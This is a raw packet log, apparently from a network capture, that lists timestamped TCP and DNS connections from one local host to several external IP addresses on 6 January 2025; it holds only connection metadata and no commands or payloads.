Jan 6, 2025 07:54:06.783802986 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:10.985234022 CET	49723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:10.990184069 CET	80	49723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:10.990288973 CET	49723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:10.990698099 CET	49723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:10.995518923 CET	80	49723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:11.334299088 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:11.334382057 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:11.478923082 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:11.775665998 CET	80	49723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:11.818860054 CET	49723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:11.823829889 CET	80	49723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:12.103647947 CET	80	49723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:12.243144035 CET	49723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:12.873930931 CET	49726	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:12.873997927 CET	443	49726	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:12.874095917 CET	49726	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:12.901220083 CET	49726	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:12.901259899 CET	443	49726	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:13.389662981 CET	443	49726	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:13.389750004 CET	49726	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:13.408114910 CET	49726	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:13.408154964 CET	443	49726	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:13.408505917 CET	443	49726	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:13.503930092 CET	49726	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:13.551337957 CET	443	49726	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:13.616966963 CET	443	49726	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:13.617033958 CET	443	49726	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:13.617156982 CET	49726	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:13.705919981 CET	49726	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:13.717377901 CET	49723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:13.722117901 CET	80	49723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:13.988286972 CET	80	49723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:13.990950108 CET	49730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:13.990978003 CET	443	49730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:13.991084099 CET	49730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:13.991415024 CET	49730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:13.991434097 CET	443	49730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:14.133785963 CET	49723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:14.448868036 CET	443	49730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:14.470297098 CET	49730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:14.470316887 CET	443	49730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:14.591486931 CET	443	49730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:14.591556072 CET	443	49730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:14.591622114 CET	49730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:14.594322920 CET	49730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:14.612085104 CET	49723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:14.614706039 CET	49731	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:14.618020058 CET	80	49723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:14.618146896 CET	49723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:14.620033026 CET	80	49731	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:14.621299028 CET	49731	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:14.624490023 CET	49731	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:14.629303932 CET	80	49731	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:15.370594025 CET	80	49731	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:15.372668028 CET	49733	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:15.372700930 CET	443	49733	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:15.372802019 CET	49733	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:15.373209953 CET	49733	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:15.373218060 CET	443	49733	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:15.515041113 CET	49731	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:15.826606989 CET	443	49733	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:15.828641891 CET	49733	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:15.828671932 CET	443	49733	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:15.975275040 CET	443	49733	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:15.975337982 CET	443	49733	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:15.975406885 CET	49733	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:15.976274014 CET	49733	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:15.981642962 CET	49731	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:15.983030081 CET	49736	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:15.986649990 CET	80	49731	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:15.986728907 CET	49731	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:15.987911940 CET	80	49736	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:15.988004923 CET	49736	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:15.988140106 CET	49736	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:15.992943048 CET	80	49736	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:16.257050991 CET	53579	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:16.261943102 CET	53	53579	1.1.1.1	192.168.2.5
Jan 6, 2025 07:54:16.262145996 CET	53579	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:16.262366056 CET	53579	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:16.267163038 CET	53	53579	1.1.1.1	192.168.2.5
Jan 6, 2025 07:54:16.710989952 CET	53	53579	1.1.1.1	192.168.2.5
Jan 6, 2025 07:54:16.714776993 CET	53579	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:16.719824076 CET	53	53579	1.1.1.1	192.168.2.5
Jan 6, 2025 07:54:16.719908953 CET	53579	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:16.802356958 CET	80	49736	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:16.804325104 CET	53582	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:16.804352045 CET	443	53582	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:16.804517984 CET	53582	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:16.804928064 CET	53582	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:16.804939032 CET	443	53582	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:16.930648088 CET	49736	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:17.279525042 CET	443	53582	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:17.286072969 CET	53582	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:17.286091089 CET	443	53582	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:17.429945946 CET	443	53582	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:17.430023909 CET	443	53582	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:17.430121899 CET	53582	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:17.434814930 CET	53582	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:17.491324902 CET	49736	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:17.492537022 CET	53584	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:17.497113943 CET	80	49736	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:17.497922897 CET	80	53584	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:17.497991085 CET	49736	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:17.498038054 CET	53584	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:17.503892899 CET	53584	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:17.509526014 CET	80	53584	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:18.455593109 CET	80	53584	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:18.457009077 CET	53591	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:18.457055092 CET	443	53591	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:18.457123041 CET	53591	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:18.457386017 CET	53591	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:18.457397938 CET	443	53591	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:18.508728027 CET	53584	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:18.915703058 CET	443	53591	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:18.921705008 CET	53591	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:18.921725988 CET	443	53591	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:19.055912971 CET	443	53591	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:19.055984974 CET	443	53591	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:19.056140900 CET	53591	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:19.057090044 CET	53591	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:19.062958002 CET	53597	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:19.067872047 CET	80	53597	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:19.067945957 CET	53597	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:19.068025112 CET	53597	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:19.072808027 CET	80	53597	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:19.847596884 CET	80	53597	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:19.849395990 CET	53604	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:19.849447012 CET	443	53604	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:19.849689960 CET	53604	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:19.849970102 CET	53604	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:19.849982977 CET	443	53604	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:19.901101112 CET	53597	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:20.321296930 CET	443	53604	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:20.342284918 CET	53604	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:20.342324972 CET	443	53604	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:20.464936972 CET	443	53604	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:20.465002060 CET	443	53604	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:20.465082884 CET	53604	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:20.468306065 CET	53604	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:20.633560896 CET	53597	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:20.636341095 CET	53606	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:20.643665075 CET	80	53606	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:20.643760920 CET	53606	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:20.643907070 CET	53606	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:20.648670912 CET	80	53606	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:20.652936935 CET	80	53597	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:20.653079033 CET	53597	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:21.500524044 CET	80	53606	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:21.501622915 CET	53612	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:21.501673937 CET	443	53612	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:21.501800060 CET	53612	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:21.502039909 CET	53612	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:21.502055883 CET	443	53612	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:21.544085979 CET	53606	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:21.968018055 CET	443	53612	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:21.969635963 CET	53612	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:21.969691038 CET	443	53612	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:22.115339994 CET	443	53612	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:22.115396976 CET	443	53612	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:22.115490913 CET	53612	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:22.115840912 CET	53612	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:22.121948004 CET	53606	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:22.122560024 CET	53618	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:22.127007961 CET	80	53606	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:22.127404928 CET	80	53618	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:22.127463102 CET	53606	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:22.127638102 CET	53618	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:22.127638102 CET	53618	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:22.132385015 CET	80	53618	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:22.605601072 CET	53623	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:22.610485077 CET	80	53623	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:22.610599041 CET	53623	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:22.610833883 CET	53623	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:22.615721941 CET	80	53623	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:22.889813900 CET	80	53618	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:22.902204037 CET	53584	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:22.903498888 CET	53624	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:22.903542995 CET	443	53624	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:22.903631926 CET	53624	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:22.903913021 CET	53624	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:22.903928041 CET	443	53624	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:22.932140112 CET	53618	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:23.357942104 CET	443	53624	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:23.360694885 CET	53624	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:23.360744953 CET	443	53624	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:23.507996082 CET	443	53624	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:23.508068085 CET	443	53624	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:23.508126974 CET	53624	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:23.508783102 CET	53624	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:23.513664961 CET	53618	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:23.515074968 CET	53630	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:23.518981934 CET	80	53618	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:23.519073009 CET	53618	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:23.519876003 CET	80	53630	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:23.520001888 CET	53630	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:23.520108938 CET	53630	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:23.524861097 CET	80	53630	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:23.538500071 CET	80	53623	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:23.569864988 CET	53623	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:23.574765921 CET	80	53623	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:23.837054014 CET	80	53623	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:23.990983009 CET	53623	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:24.205308914 CET	53636	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.205347061 CET	443	53636	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.205533028 CET	53636	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.221247911 CET	53636	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.221263885 CET	443	53636	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.304143906 CET	80	53630	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:24.305459023 CET	53637	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.305536985 CET	443	53637	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.305602074 CET	53637	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.305871010 CET	53637	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.305902004 CET	443	53637	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.519486904 CET	80	53630	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:24.519582033 CET	53630	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:24.685233116 CET	443	53636	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.685309887 CET	53636	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.686790943 CET	53636	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.686796904 CET	443	53636	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.687073946 CET	443	53636	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.732542038 CET	53636	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.742914915 CET	53636	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.760723114 CET	443	53637	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.762473106 CET	53637	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.762521029 CET	443	53637	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.787338018 CET	443	53636	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.850044012 CET	443	53636	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.850112915 CET	443	53636	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.850178957 CET	53636	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.852808952 CET	53636	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.859649897 CET	53623	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:24.864538908 CET	80	53623	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:24.897824049 CET	443	53637	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.897885084 CET	443	53637	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:24.897974014 CET	53637	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.898374081 CET	53637	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:24.946521997 CET	53630	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:24.951663017 CET	80	53630	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:24.951745987 CET	53630	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:24.954474926 CET	53643	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:24.954509020 CET	443	53643	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:24.954634905 CET	53643	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:24.955066919 CET	53643	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:24.955079079 CET	443	53643	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:25.127861023 CET	80	53623	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:25.129626036 CET	53644	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:25.129668951 CET	443	53644	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:25.129750013 CET	53644	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:25.129976034 CET	53644	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:25.129987001 CET	443	53644	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:25.170046091 CET	53623	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:25.573664904 CET	443	53643	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:25.573777914 CET	53643	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:25.579586029 CET	53643	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:25.579596996 CET	443	53643	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:25.579864025 CET	443	53643	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:25.581171036 CET	53643	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:25.584873915 CET	443	53644	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:25.586271048 CET	53644	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:25.586287975 CET	443	53644	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:25.627336979 CET	443	53643	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:25.736982107 CET	443	53644	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:25.737044096 CET	443	53644	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:25.737261057 CET	53644	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:25.744007111 CET	53644	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:25.810434103 CET	53623	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:25.811670065 CET	53650	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:25.815529108 CET	80	53623	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:25.815588951 CET	53623	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:25.816353083 CET	443	53643	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:25.816427946 CET	443	53643	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:25.816502094 CET	80	53650	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:25.816504002 CET	53643	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:25.818686008 CET	53650	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:25.818768024 CET	53650	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:25.823574066 CET	80	53650	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:25.844007969 CET	53643	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:26.919437885 CET	80	53650	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:26.921742916 CET	53657	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:26.921780109 CET	443	53657	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:26.921885967 CET	53657	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:26.922116041 CET	53657	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:26.922130108 CET	443	53657	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:26.967936039 CET	53650	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:27.391911030 CET	443	53657	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:27.395104885 CET	53657	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:27.395167112 CET	443	53657	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:27.540766001 CET	443	53657	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:27.540827036 CET	443	53657	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:27.540898085 CET	53657	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:27.541439056 CET	53657	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:27.569578886 CET	53650	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:27.571723938 CET	53662	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:27.574584007 CET	80	53650	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:27.574637890 CET	53650	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:27.576585054 CET	80	53662	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:27.579997063 CET	53662	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:27.580108881 CET	53662	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:27.584947109 CET	80	53662	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:28.345350027 CET	80	53662	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:28.360611916 CET	53667	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:28.360645056 CET	443	53667	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:28.364542007 CET	53667	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:28.367645025 CET	53667	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:28.367660046 CET	443	53667	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:28.402961969 CET	53662	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:28.828021049 CET	443	53667	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:28.829689980 CET	53667	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:28.829725027 CET	443	53667	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:28.958256006 CET	443	53667	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:28.958307028 CET	443	53667	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:28.958403111 CET	53667	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:28.959374905 CET	53667	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:29.062762976 CET	53662	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:29.064014912 CET	53671	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:29.067801952 CET	80	53662	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:29.067862034 CET	53662	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:29.068790913 CET	80	53671	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:29.069483042 CET	53671	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:29.069691896 CET	53671	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:29.074482918 CET	80	53671	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:29.843044043 CET	80	53671	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:29.844146967 CET	53677	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:29.844176054 CET	443	53677	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:29.844283104 CET	53677	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:29.844569921 CET	53677	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:29.844579935 CET	443	53677	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:29.896405935 CET	53671	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.169611931 CET	53681	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.174506903 CET	80	53681	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:30.174796104 CET	53681	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.174958944 CET	53681	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.179730892 CET	80	53681	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:30.297756910 CET	443	53677	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:30.300358057 CET	53677	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:30.300391912 CET	443	53677	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:30.429388046 CET	443	53677	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:30.429450989 CET	443	53677	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:30.429538012 CET	53677	443	192.168.2.5	188.114.97.3
